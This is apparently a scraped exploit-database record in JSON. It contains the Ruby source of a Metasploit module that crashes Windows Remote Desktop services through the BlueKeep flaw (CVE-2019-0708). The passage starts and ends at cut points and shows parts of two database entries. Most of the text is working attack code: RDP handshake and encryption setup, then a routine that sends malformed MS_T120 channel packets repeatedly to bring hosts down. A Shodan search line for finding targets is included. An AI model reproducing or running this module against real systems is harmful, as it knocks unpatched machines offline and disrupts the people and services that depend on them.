\"\\x78\\x00\\x2e\\x00\\x64\\x00\\x6c\\x00\\x6c\\x00\\x00\\x00\" +\r\n    \r\n    ## clientTimeZone - TS_TIME_ZONE struct - 172 bytes\r\n    ## These are the default values for rdesktop\r\n    \"\\xa4\\x01\\x00\\x00\" +                                                       # Bias\r\n\r\n    ## StandardName - 'GTB,normaltid'\r\n    \"\\x4d\\x00\\x6f\\x00\\x75\\x00\\x6e\\x00\\x74\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\" +\r\n    \"\\x20\\x00\\x53\\x00\\x74\\x00\\x61\\x00\\x6e\\x00\\x64\\x00\\x61\\x00\\x72\\x00\" +\r\n    \"\\x64\\x00\\x20\\x00\\x54\\x00\\x69\\x00\\x6d\\x00\\x65\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +       # StandardDate\r\n    \"\\x00\\x00\\x00\\x00\" +                                                       # StandardBias\r\n\r\n    ## DaylightName - 'GTB,sommartid'\r\n    \"\\x4d\\x00\\x6f\\x00\\x75\\x00\\x6e\\x00\\x74\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\" +\r\n    \"\\x20\\x00\\x44\\x00\\x61\\x00\\x79\\x00\\x6c\\x00\\x69\\x00\\x67\\x00\\x68\\x00\" +\r\n    \"\\x74\\x00\\x20\\x00\\x54\\x00\\x69\\x00\\x6d\\x00\\x65\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x03\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +       # DaylightDate\r\n    \"\\xc4\\xff\\xff\\xff\" +                                                       # DaylightBias\r\n\r\n    \"\\x01\\x00\\x00\\x00\" +                                                       # clientSessionId\r\n    \"\\x06\\x00\\x00\\x00\" +                                                       # performanceFlags\r\n    \"\\x00\\x00\" +                                                               # cbAutoReconnectCookie\r\n    \"\\x64\\x00\\x00\\x00\"\r\n\r\n    return(pdu)\r\n  end\r\n\r\n  # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4e9722c3-ad83-43f5-af5a-529f73d88b48\r\n  # Confirm Active PDU Data - TS_CONFIRM_ACTIVE_PDU - 2.2.1.13.2.1\r\n  def pdu_client_confirm_active()\r\n    pdu  = \"\\xea\\x03\\x01\\x00\" +                                                # shareId: 66538\r\n    \"\\xea\\x03\" +                                                               # originatorId\r\n    \"\\x06\\x00\" +                                                               # lengthSourceDescriptor: 6\r\n    \"\\x3e\\x02\" +                                                               # lengthCombinedCapabilities: ???\r\n    \"\\x4d\\x53\\x54\\x53\\x43\\x00\" +                                               # SourceDescriptor: 'MSTSC'\r\n    \"\\x17\\x00\" +                                                               # numberCapabilities: 23\r\n    \"\\x00\\x00\" +                                                               # pad2Octets\r\n    \"\\x01\\x00\" +                                                               # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET\r\n    \"\\x18\\x00\" +                                                               # lengthCapability: 24\r\n    \"\\x01\\x00\\x03\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x1d\\x04\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\" +\r\n    \"\\x02\\x00\" +                                                               # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET\r\n    \"\\x1c\\x00\" +                                                               # lengthCapability: 28\r\n    \"\\x20\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x80\\x07\\x38\\x04\\x00\\x00\\x01\\x00\" +\r\n    \"\\x01\\x00\\x00\\x1a\\x01\\x00\\x00\\x00\" +\r\n    \"\\x03\\x00\" +                                                               # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET\r\n    \"\\x58\\x00\" +                                                               # lengthCapability: 88\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xaa\\x00\" +\r\n    \"\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x01\\x01\\x01\\x00\\x01\\x00\\x00\\x00\\x01\" +\r\n    \"\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\xa1\\x06\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x84\\x03\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\xe4\\x04\\x00\\x00\\x13\\x00\\x28\\x00\\x03\\x00\\x00\\x03\\x78\\x00\\x00\\x00\" +\r\n    \"\\x78\\x00\\x00\\x00\\xfc\\x09\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x0a\\x00\" +                                                               # capabilitySetType: 10 - ??\r\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\r\n    \"\\x06\\x00\\x00\\x00\" +\r\n    \"\\x07\\x00\" +                                                               # capabilitySetType: 7  - TSWINDOWACTIVATION_CAPABILITYSET\r\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x05\\x00\" +                                                               # capabilitySetType: 5  - TS_CONTROL_CAPABILITYSET\r\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\r\n    \"\\x00\\x00\\x00\\x00\\x02\\x00\\x02\\x00\" +\r\n    \"\\x08\\x00\" +                                                               # capabilitySetType: 8  - TS_POINTER_CAPABILITYSET\r\n    \"\\x0a\\x00\" +                                                               # lengthCapability: 10\r\n    \"\\x01\\x00\\x14\\x00\\x15\\x00\" +\r\n    \"\\x09\\x00\" +                                                               # capabilitySetType: 9  - TS_SHARE_CAPABILITYSET\r\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\r\n    \"\\x00\\x00\\x00\\x00\" +\r\n    \"\\x0d\\x00\" +                                                               # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET\r\n    \"\\x58\\x00\" +                                                               # lengthCapability: 88\r\n    \"\\x91\\x00\\x20\\x00\\x09\\x04\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\" +\r\n    \"\\x0c\\x00\" +                                                               # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET\r\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\r\n    \"\\x01\\x00\\x00\\x00\" +\r\n    \"\\x0e\\x00\" +                                                               # capabilitySetType: 14 - TS_FONT_CAPABILITYSET\r\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\r\n    \"\\x01\\x00\\x00\\x00\" +\r\n    \"\\x10\\x00\" +                                                               # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET\r\n    \"\\x34\\x00\" +                                                               # lengthCapability: 52\r\n    \"\\xfe\\x00\\x04\\x00\\xfe\\x00\\x04\\x00\\xfe\\x00\\x08\\x00\\xfe\\x00\\x08\\x00\" +\r\n    \"\\xfe\\x00\\x10\\x00\\xfe\\x00\\x20\\x00\\xfe\\x00\\x40\\x00\\xfe\\x00\\x80\\x00\" +\r\n    \"\\xfe\\x00\\x00\\x01\\x40\\x00\\x00\\x08\\x00\\x01\\x00\\x01\\x03\\x00\\x00\\x00\" +\r\n    \"\\x0f\\x00\" +                                                               # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET\r\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\r\n    \"\\x01\\x00\\x00\\x00\" +\r\n    \"\\x11\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\r\n    \"\\x01\\x00\\x00\\x00\\x00\\x28\\x64\\x00\" +\r\n    \"\\x14\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\r\n    \"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x15\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\r\n    \"\\x02\\x00\\x00\\x00\\x00\\x0a\\x00\\x01\" +\r\n    \"\\x1a\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\r\n    \"\\xaf\\x94\\x00\\x00\" +\r\n    \"\\x1c\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\r\n    \"\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x1b\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x06\\x00\" +                                                               # lengthCapability: 6\r\n    \"\\x01\\x00\" +\r\n    \"\\x1e\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\r\n    \"\\x01\\x00\\x00\\x00\" +\r\n    \"\\x18\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x0b\\x00\" +                                                               # lengthCapability: 11\r\n    \"\\x02\\x00\\x00\\x00\\x03\\x0c\\x00\" +\r\n    \"\\x1d\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x5f\\x00\" +                                                               # lengthCapability: 95\r\n    \"\\x02\\xb9\\x1b\\x8d\\xca\\x0f\\x00\\x4f\\x15\\x58\\x9f\\xae\\x2d\\x1a\\x87\\xe2\" +\r\n    \"\\xd6\\x01\\x03\\x00\\x01\\x01\\x03\\xd4\\xcc\\x44\\x27\\x8a\\x9d\\x74\\x4e\\x80\" +\r\n    \"\\x3c\\x0e\\xcb\\xee\\xa1\\x9c\\x54\\x05\\x31\\x00\\x31\\x00\\x00\\x00\\x01\\x00\" +\r\n    \"\\x00\\x00\\x25\\x00\\x00\\x00\\xc0\\xcb\\x08\\x00\\x00\\x00\\x01\\x00\\xc1\\xcb\" +\r\n    \"\\x1d\\x00\\x00\\x00\\x01\\xc0\\xcf\\x02\\x00\\x08\\x00\\x00\\x01\\x40\\x00\\x02\" +\r\n    \"\\x01\\x01\\x01\\x00\\x01\\x40\\x00\\x02\\x01\\x01\\x04\"\r\n\r\n    ## type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU\r\n    return(rdp_build_share_control_header(0x13, pdu))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5186005a-36f5-4f5d-8c06-968f28e2d992\r\n  ## Client Synchronize - TS_SYNCHRONIZE_PDU - 2.2.1.19 /  2.2.14.1\r\n  def pdu_client_synchronize(target_user = 0)    \r\n    pdu = \"\\x01\\x00\" +                                                         # messageType: 1 SYNCMSGTYPE_SYNC\r\n    [target_user].pack(\"S<\")                                                   # targetUser, 16 bit, unsigned.\r\n\r\n    ## pduType2 = 0x1f = 31 - PDUTYPE2_SCYNCHRONIZE\r\n    data_header = rdp_build_share_data_header(0x1f, pdu)\r\n\r\n    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU\r\n    return(rdp_build_share_control_header(0x17, data_header))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9d1e1e21-d8b4-4bfd-9caf-4b72ee91a7135\r\n  ## Control Cooperate - TC_CONTROL_PDU 2.2.1.15\r\n  def pdu_client_control_cooperate()\r\n    pdu = \"\\x04\\x00\" +                                                         # action: 4 - CTRLACTION_COOPERATE\r\n    \"\\x00\\x00\" +                                                               # grantId: 0\r\n    \"\\x00\\x00\\x00\\x00\"                                                         # controlId: 0\r\n\r\n    ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL\r\n    data_header = rdp_build_share_data_header(0x14, pdu)\r\n\r\n    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU\r\n    return(rdp_build_share_control_header(0x17, data_header))\r\n  end\r\n\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4f94e123-970b-4242-8cf6-39820d8e3d35\r\n  ## Control Request - TC_CONTROL_PDU 2.2.1.16\r\n  def pdu_client_control_request()\r\n\r\n    pdu = \"\\x01\\x00\" +                                                         # action: 1 - CTRLACTION_REQUEST_CONTROL\r\n    \"\\x00\\x00\" +                                                               # grantId: 0\r\n    \"\\x00\\x00\\x00\\x00\"                                                         # controlId: 0\r\n\r\n    ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL\r\n    data_header = rdp_build_share_data_header(0x14, pdu)\r\n\r\n    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU\r\n    return(rdp_build_share_control_header(0x17, data_header))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/ff7f06f8-0dcf-4c8d-be1f-596ae60c4396\r\n  ## Client Input Event Data - TS_INPUT_PDU_DATA - 2.2.8.1.1.3.1\r\n  def pdu_client_input_event_sychronize()\r\n    pdu = \"\\x01\\x00\" +                                                         # numEvents: 1\r\n    \"\\x00\\x00\" +                                                               # pad2Octets\r\n    \"\\x00\\x00\\x00\\x00\" +                                                       # eventTime\r\n    \"\\x00\\x00\" +                                                               # messageType: 0 - INPUT_EVENT_SYNC\r\n  \r\n    ## TS_SYNC_EVENT 202.8.1.1.3.1.1.5\r\n    \"\\x00\\x00\" +                                                               # pad2Octets\r\n    \"\\x00\\x00\\x00\\x00\"                                                         # toggleFlags\r\n\r\n    ## pduType2 = 0x1c = 28 - PDUTYPE2_INPUT\r\n    data_header = rdp_build_share_data_header(0x1c, pdu)\r\n\r\n    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU\r\n    return(rdp_build_share_control_header(0x17, data_header))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7067da0d-e318-4464-88e8-b11509cf0bd9\r\n  ## Client Font List - TS_FONT_LIST_PDU - 2.2.1.18\r\n  def pdu_client_font_list()\r\n    pdu = \"\\x00\\x00\" +                                                         # numberFonts: 0\r\n    \"\\x00\\x00\" +                                                               # totalNumberFonts: 0\r\n    \"\\x03\\x00\" +                                                               # listFlags: 3 (FONTLIST_FIRST | FONTLIST_LAST)\r\n    \"\\x32\\x00\"                                                                 # entrySize: 50\r\n\r\n    ## pduType2 = 0x27 = 29 - PDUTYPE2_FONTLIST\r\n    data_header = rdp_build_share_data_header(0x27, pdu)\r\n\r\n    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU\r\n    return(rdp_build_share_control_header(0x17, data_header))\r\n  end\r\n\r\n  # ------------------------------------------------------------------------- #\r\n\r\n  def crash_test(rc4enckey, hmackey)\r\n    begin\r\n      received = \"\"\r\n      for i in 0..5\r\n        received += rdp_recv()\r\n      end\r\n    rescue RdpCommunicationError\r\n      # we don't care\r\n    end\r\n\r\n    vprint_status(\"Sending DoS payload\")\r\n    found = false\r\n    for j in 0..15\r\n      ## x86_payload:\r\n      rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, [\"00000000020000000000000\"].pack(\"H*\")), rc4enckey, hmackey, \"\\x03\\xef\"))\r\n\r\n      ## x64_payload:\r\n      rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, [\"00000000000000000200000\"].pack(\"H*\")), rc4enckey, hmackey, \"\\x03\\xef\"))\r\n    end\r\n  end\r\n\r\n  def produce_dos()\r\n  \r\n    unless(rdp_connection_initiation())\r\n      vprint_status(\"Could not connect to RDP.\")\r\n      return(false)\r\n    end\r\n    \r\n    vprint_status(\"Sending initial client data\")\r\n    received = rdp_sendrecv(pdu_connect_initial(RDPConstants::PROTOCOL_RDP, datastore['RDP_CLIENT_NAME']))\r\n\r\n    rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_connect_response(received)\r\n\r\n    vprint_status(\"Sending erect domain request\")\r\n    rdp_send(pdu_erect_domain_request())\r\n\r\n    vprint_status(\"Sending attach user request\")\r\n    received = rdp_sendrecv(pdu_attach_user_request())\r\n\r\n    user1 = received[9, 2].unpack(\"n\").first\r\n\r\n    [1003, 1004, 1005, 1006, 1007].each do | chan |\r\n      rdp_sendrecv(pdu_channel_request(user1, chan))\r\n    end\r\n\r\n    ## 5.3.4 Client Random Value\r\n    client_rand = ''\r\n    32.times { client_rand << rand(0..255) }\r\n    rcran = bytes_to_bignum(client_rand)\r\n\r\n    vprint_status(\"Sending security exchange PDU\")\r\n    rdp_send(pdu_security_exchange(rcran, rsexp, rsmod, bitlen))\r\n\r\n    ## We aren't decrypting anything at this point. Leave the variables here\r\n    ## to make it easier to understand in the future.\r\n    rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)\r\n\r\n    vprint_status(\"RC4_ENC_KEY: #{bin_to_hex(rc4encstart)}\")\r\n    vprint_status(\"RC4_DEC_KEY: #{bin_to_hex(rc4decstart)}\")\r\n    vprint_status(\"HMAC_KEY:    #{bin_to_hex(hmackey)}\")\r\n    vprint_status(\"SESS_BLOB:   #{bin_to_hex(sessblob)}\")\r\n\r\n    rc4enckey = RC4.new(rc4encstart)\r\n\r\n    vprint_status(\"Sending client info PDU\") # TODO\r\n    pdu = pdu_client_info(datastore['RDP_USER'], datastore['RDP_DOMAIN'], datastore['RDP_CLIENT_IP'])\r\n    received = rdp_sendrecv(rdp_build_pkt(pdu, rc4enckey, hmackey, \"\\x03\\xeb\", true))\r\n\r\n    vprint_status(\"Received License packet\")\r\n    rdp_recv()\r\n\r\n    vprint_status(\"Sending client confirm active PDU\")\r\n    rdp_send(rdp_build_pkt(pdu_client_confirm_active(), rc4enckey, hmackey))\r\n\r\n    vprint_status(\"Sending client synchronize PDU\")\r\n    rdp_send(rdp_build_pkt(pdu_client_synchronize(1009), rc4enckey, hmackey))\r\n\r\n    vprint_status(\"Sending client control cooperate PDU\")\r\n    rdp_send(rdp_build_pkt(pdu_client_control_cooperate(), rc4enckey, hmackey))\r\n\r\n    vprint_status(\"Sending client control request control PDU\")\r\n    rdp_send(rdp_build_pkt(pdu_client_control_request(), rc4enckey, hmackey))\r\n\r\n    vprint_status(\"Sending client input sychronize PDU\")\r\n    rdp_send(rdp_build_pkt(pdu_client_input_event_sychronize(), rc4enckey, hmackey))\r\n\r\n    vprint_status(\"Sending client font list PDU\")\r\n    rdp_send(rdp_build_pkt(pdu_client_font_list(), rc4enckey, hmackey))\r\n\r\n    vprint_status(\"Sending close mst120 PDU\")\r\n    crash_test(rc4enckey, hmackey)\r\n\r\n    vprint_status(\"Sending client disconnection PDU\")\r\n    rdp_send(rdp_build_data_tpdu(\"\\x21\\x80\"))\r\n\r\n    return(true)\r\n  end\r\n\r\n  # ------------------------------------------------------------------------- #\r\n\r\n  def run_host(ip)\r\n    ## Allow the run command to call the check command.\r\n    begin\r\n      if(open_connection())\r\n        status = produce_dos()\r\n      end\r\n    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e\r\n      bt = e.backtrace.join(\"\\n\")\r\n      vprint_error(\"Unexpected error: #{e.message}\")\r\n      vprint_line(bt)\r\n      elog(\"#{e.message}\\n#{bt}\")\r\n    rescue RdpCommunicationError => e\r\n      vprint_error(\"Error communicating RDP protocol.\")\r\n      status = Exploit::CheckCode::Unknown\r\n    rescue Errno::ECONNRESET => e                                              # NLA?\r\n      vprint_error(\"Connection reset, possible NLA is enabled.\")\r\n    rescue => e\r\n      bt = e.backtrace.join(\"\\n\")\r\n      vprint_error(\"Unexpected error: #{e.message}\")\r\n      vprint_line(bt)\r\n      elog(\"#{e.message}\\n#{bt}\")\r\n    ensure\r\n\r\n      if(status == true)\r\n        sleep(1)\r\n        unless(open_connection())\r\n          print_good(\"The host is crashed!\")\r\n        else\r\n          print_bad(\"The DoS has been sent but the host is already connected!\")\r\n        end\r\n      end\r\n\r\n      disconnect()\r\n    end\r\n  end\r\n\r\nend",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "sourceHref": "https://www.exploit-db.com/download/47120",
        "vhref": "https://vulners.com/exploitdb/EDB-ID:47120"
    },
    {
        "lastseen": "2019-12-04T15:59:16",
        "bulletinFamily": "exploit",
        "description": "Exploit for windows platform in category dos / poc",
        "modified": "2019-07-15T00:00:00",
        "published": "2019-07-15T00:00:00",
        "id": "1337DAY-ID-32978",
        "href": "https://0day.today/exploit/description/32978",
        "title": "Microsoft Windows Remote Desktop - (BlueKeep) Denial of Service Exploit",
        "type": "zdt",
        "sourceData": "# Exploit Title: Bluekeep Denial of Service (metasploit module)\r\n# Shodan Dork: port:3389\r\n# Date: 07/14/2019\r\n# Exploit Author: RAMELLA Sebastien (https://github.com/mekhalleh/)\r\n# Vendor Homepage: https://microsoft.com\r\n# Version: all affected RDP services by cve-2019-0708\r\n# Tested on: Windows XP (32-bits) / Windows 7 (64-bits)\r\n# CVE : 2019-0708\r\n\r\n# I just modified the initial metasploit module for this vuln to produce a denial of service attack.\r\n\r\n##\r\n# This module requires Metasploit: http://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Auxiliary\r\n  Rank = NormalRanking\r\n\r\n  include Msf::Auxiliary::Dos\r\n  include Msf::Auxiliary::Scanner\r\n  include Msf::Exploit::Remote::Tcp\r\n\r\n  def initialize(info = {})\r\n    super(update_info(info,\r\n      'Name'           => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE',\r\n      'Description'    => %q{\r\n        This module checks a range of hosts for the CVE-2019-0708 vulnerability\r\n        by binding the MS_T120 channel outside of its normal slot and sending\r\n        DoS packets.\r\n      },\r\n      'Author'         =>\r\n      [\r\n        'National Cyber Security Centre', # Discovery\r\n        'JaGoTu',                         # Module\r\n        'zerosum0x0',                     # Module\r\n        'Tom Sellers',                    # TLS support and documented packets\r\n        'RAMELLA Sebastien'               # Denial of service module\r\n      ],\r\n      'References'     =>\r\n      [\r\n        [ 'CVE', '2019-0708' ],\r\n        [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]\r\n      ],\r\n      'DisclosureDate' => '2019-05-14',\r\n      'License'        => MSF_LICENSE,\r\n      'Notes'          =>\r\n      {\r\n        'Stability' => [ CRASH_OS_DOWN ],\r\n        'AKA'       => ['BlueKeep']\r\n      }\r\n    ))\r\n\r\n    register_options(\r\n      [\r\n        OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connection', '192.168.0.100']),\r\n        OptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connection', 'rdesktop']),\r\n        OptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connection', '']),\r\n        OptString.new('RDP_USER', [ false, 'The username to report during connection.']),\r\n        OptAddressRange.new(\"RHOSTS\", [ true, 'Target address, address range or CIDR identifier']),\r\n        OptInt.new('RPORT', [true, 'The target TCP port on which the RDP protocol response', 3389])\r\n      ]\r\n    )\r\n  end\r\n\r\n  # ------------------------------------------------------------------------- #\r\n\r\n  def bin_to_hex(s)\r\n    return(s.each_byte.map { | b | b.to_s(16).rjust(2, '0') }.join)\r\n  end\r\n\r\n  def bytes_to_bignum(bytesIn, order = \"little\")\r\n    bytes = bin_to_hex(bytesIn)\r\n    if(order == \"little\")\r\n      bytes = bytes.scan(/../).reverse.join('')\r\n    end\r\n    s = \"0x\" + bytes\r\n\r\n    return(s.to_i(16))\r\n  end\r\n\r\n  ## https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110\r\n  def int_to_bytestring(daInt, num_chars = nil)\r\n    unless(num_chars)\r\n      bits_needed = Math.log(daInt) / Math.log(2)\r\n      num_chars = (bits_needed / 8.0).ceil\r\n    end\r\n    if(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ])\r\n      [daInt].pack(pack_code)\r\n    else\r\n      a = (0..(num_chars)).map{ | i |\r\n        (( daInt >> i*8 ) & 0xFF ).chr\r\n      }.join\r\n      a[0..-2]                                                                 # Seems legit lol!\r\n    end\r\n  end\r\n\r\n  def open_connection()\r\n    begin\r\n      connect()\r\n      sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)\r\n    rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e\r\n      vprint_error(\"Connection error: #{e.message}\")\r\n      return(false)\r\n    end\r\n  \r\n    return(true)\r\n  end\r\n\r\n  def rsa_encrypt(bignum, rsexp, rsmod)\r\n    return((bignum ** rsexp) % rsmod)\r\n  end\r\n\r\n  # ------------------------------------------------------------------------- #\r\n\r\n  ## Used to abruptly abort scanner for a given host.\r\n  class RdpCommunicationError < StandardError\r\n  end\r\n  \r\n  ## Define standard RDP constants.\r\n  class RDPConstants\r\n    PROTOCOL_RDP = 0\r\n  end\r\n\r\n  DEFAULT_CHANNELS_DEFS =\r\n  \"\\x04\\x00\\x00\\x00\" +                 # channelCount: 4\r\n\r\n  ## Channels definitions consist of a name (8 bytes) and options flags\r\n  ## (4 bytes). Names are up to 7 ANSI characters with null termination.\r\n  \"\\x72\\x64\\x70\\x73\\x6e\\x64\\x00\\x00\" + # rdpsnd\r\n  \"\\x0f\\x00\\x00\\xc0\" +\r\n  \"\\x63\\x6c\\x69\\x70\\x72\\x64\\x72\\x00\" + # cliprdr\r\n  \"\\x00\\x00\\xa0\\xc0\" +\r\n  \"\\x64\\x72\\x64\\x79\\x6e\\x76\\x63\" +     # drdynvc\r\n  \"\\x00\\x00\\x00\\x80\\xc0\" +\r\n  \"\\x4d\\x53\\x5f\\x54\\x31\\x32\\x30\" +     # MS_T120\r\n  \"\\x00\\x00\\x00\\x00\\x00\"\r\n\r\n  ## Builds x.224 Data (DT) TPDU - Section 13.7\r\n  def rdp_build_data_tpdu(data)\r\n    tpkt_length = data.length + 7\r\n\r\n    \"\\x03\\x00\" +                                                               # TPKT Header version 03, reserved 0\r\n    [tpkt_length].pack(\"S>\") +                                                 # TPKT length\r\n    \"\\x02\\xf0\" +                                                               # X.224 Data TPDU (2 bytes)\r\n    \"\\x80\" +                                                                   # X.224 End Of Transmission (0x80)\r\n    data\r\n  end\r\n\r\n  ## Build the X.224 packet, encrypt with Standard RDP Security as needed.\r\n  ## Default channel_id = 0x03eb = 1003.\r\n  def rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = \"\\x03\\xeb\", client_info = false, rdp_sec = true)\r\n    flags = 0\r\n    flags |= 0b1000 if(rdp_sec)                                                # Set SEC_ENCRYPT\r\n    flags |= 0b1000000 if(client_info)                                         # Set SEC_INFO_PKT\r\n\r\n    pdu = \"\"\r\n\r\n    ## TS_SECURITY_HEADER - 2.2.8.1.1.2.1\r\n    ## Send when the packet is encrypted w/ Standard RDP Security and in all Client Info PDUs.\r\n    if(client_info || rdp_sec)\r\n      pdu << [flags].pack(\"S<\")                                                # flags  \"\\x48\\x00\" = SEC_INFO_PKT | SEC_ENCRYPT\r\n      pdu << \"\\x00\\x00\"                                                        # flagsHi\r\n    end\r\n\r\n    if(rdp_sec)\r\n      ## Encrypt the payload with RDP Standard Encryption.\r\n      pdu << rdp_hmac(hmackey, data)[0..7]\r\n      pdu << rdp_rc4_crypt(rc4enckey, data)\r\n    else\r\n      pdu << data\r\n    end\r\n\r\n    user_data_len = pdu.length\r\n    udl_with_flag = 0x8000 | user_data_len\r\n\r\n    pkt =  \"\\x64\"                                                              # sendDataRequest\r\n    pkt << \"\\x00\\x08\"                                                          # intiator userId (TODO: for a functional client this isn't static)\r\n    pkt << channel_id                                                          # channelId\r\n    pkt << \"\\x70\"                                                              # dataPriority\r\n    pkt << [udl_with_flag].pack(\"S>\")\r\n    pkt << pdu\r\n\r\n    return(rdp_build_data_tpdu(pkt))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/73d01865-2eae-407f-9b2c-87e31daac471\r\n  ## Share Control Header - TS_SHARECONTROLHEADER - 2.2.8.1.1.1.1\r\n  def rdp_build_share_control_header(type, data, channel_id = \"\\xf1\\x03\")\r\n    total_len = data.length + 6\r\n\r\n    return(\r\n      [total_len].pack(\"S<\") +                                                 # totalLength - includes all headers\r\n      [type].pack(\"S<\") +                                                      # pduType - flags 16 bit, 